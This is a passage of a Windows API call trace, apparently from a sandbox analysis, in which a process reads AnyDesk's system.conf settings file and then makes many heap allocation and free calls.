0xe337b8 [0194.295] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33778 [0194.295] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2fb28 [0194.295] GetTickCount () returned 0x1880c57 [0194.295] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0194.296] LockFileEx (in: hFile=0x244, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0194.296] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=455) returned 1 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c7) returned 0xe4d448 [0194.296] ReadFile (in: hFile=0x244, lpBuffer=0xe4d448, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe4d448*, lpNumberOfBytesRead=0x2a7b62c*=0x1c7, lpOverlapped=0x0) returned 1 [0194.296] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x390) returned 0xe4d618 [0194.296] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=455, lpWideCharStr=0xe4d618, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\n") returned 455 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f868 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55168 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd08 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55150 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02620 [0194.296] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55138 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fcb8 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55120 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12cb0 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55108 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15f60 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550f0 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe26c18 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34ac8 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe160e0 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550a8 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fc18 [0194.297] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55090 [0194.297] UnlockFileEx (in: hFile=0x244, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0194.298] CloseHandle (hObject=0x244) returned 1 [0194.298] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.298] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0194.299] LockFileEx (in: hFile=0x244, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0194.299] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=455) returned 1 [0194.299] ReadFile (in: hFile=0x244, lpBuffer=0xe4d448, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe4d448*, lpNumberOfBytesRead=0x2a7b62c*=0x1c7, lpOverlapped=0x0) returned 1 [0194.299] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x390) returned 0xe4d618 [0194.299] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe4d448, cbMultiByte=455, lpWideCharStr=0xe4d618, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\n") returned 455 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f868 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fc18 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55180 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe558d8 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55090 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fcb8 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550a8 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e358 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe160e0 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe26998 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550f0 [0194.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34ac8 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55108 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe155a0 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55120 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fd08 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55138 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32778 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55150 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0xe1f958 [0194.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f958 | out: hHeap=0x3b0000) returned 1 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe582d8 [0194.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15f60 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16080 [0194.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15de0 [0194.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16080 | out: hHeap=0x3b0000) returned 1 [0194.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0194.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aca8 [0194.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a48 [0194.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe14c40 [0194.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0194.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15f60 [0194.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0194.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd58 [0194.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10e58 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10ea0 [0194.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10e58 | out: hHeap=0x3b0000) returned 1 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aca8 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4abc8 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab88 [0194.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0194.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aca8 [0194.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b920 [0194.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10e58 [0194.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0194.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aca8 [0194.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ea0 | out: hHeap=0x3b0000) returned 1 [0194.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55948 [0194.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55948 | out: hHeap=0x3b0000) returned 1 [0194.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55948 [0194.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe559b8 [0194.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55948 | out: hHeap=0x3b0000) returned 1 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab88 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0194.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8a0 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55948 [0194.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab88 [0194.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0194.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe559b8 | out: hHeap=0x3b0000) returned 1 [0194.304] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fd58 [0194.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0194.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ea0 [0194.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ee8 [0194.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ea0 | out: hHeap=0x3b0000) returned 1 [0194.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0194.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0194.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0194.305] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abf8 [0194.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b980 [0194.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ea0 [0194.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0194.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0194.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0194.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ee8 | out: hHeap=0x3b0000) returned 1 [0194.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e2a8 [0194.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0194.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e2a8 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e300 [0194.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abb8 [0194.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abe8 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b960 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e2a8 [0194.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0194.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0194.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0194.308] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0194.308] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15de0 [0194.308] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0194.308] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e300 [0194.308] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e1f8 [0194.309] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0194.309] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abb8 [0194.309] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.309] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0194.309] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.309] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0194.309] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abb8 [0194.309] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b940 [0194.310] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e300 [0194.310] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33348 [0194.310] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54a88 | out: hHeap=0x3b0000) returned 1 [0194.310] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abb8 | out: hHeap=0x3b0000) returned 1 [0194.310] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abb8 [0194.310] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.311] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0194.311] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe26c18 [0194.311] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c18 | out: hHeap=0x3b0000) returned 1 [0194.311] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c18 [0194.311] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c98 [0194.312] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c18 | out: hHeap=0x3b0000) returned 1 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0194.312] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.312] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aba8 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a88 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c18 [0194.312] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.312] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0194.313] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.313] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c98 | out: hHeap=0x3b0000) returned 1 [0194.313] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34a30 [0194.313] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34a30 | out: hHeap=0x3b0000) returned 1 [0194.314] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0194.314] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe054b0 [0194.314] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0194.314] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0194.314] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.314] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0194.314] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.314] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.315] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab98 [0194.315] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b900 [0194.315] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0194.315] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.315] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0194.315] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.316] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe054b0 | out: hHeap=0x3b0000) returned 1 [0194.316] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe15de0 [0194.316] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0194.316] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e1f8 [0194.316] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0194.317] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0194.317] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0194.317] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0194.317] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0194.317] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0194.317] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.317] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac08 [0194.318] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0194.318] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e1f8 [0194.318] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0194.318] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0194.318] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0194.318] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0194.319] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fd58 [0194.319] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0194.319] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe320b8 [0194.319] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32878 [0194.320] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0194.320] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55168 [0194.320] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe551c8 [0194.320] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0194.320] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0194.320] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0194.320] RtlAllocateHeap 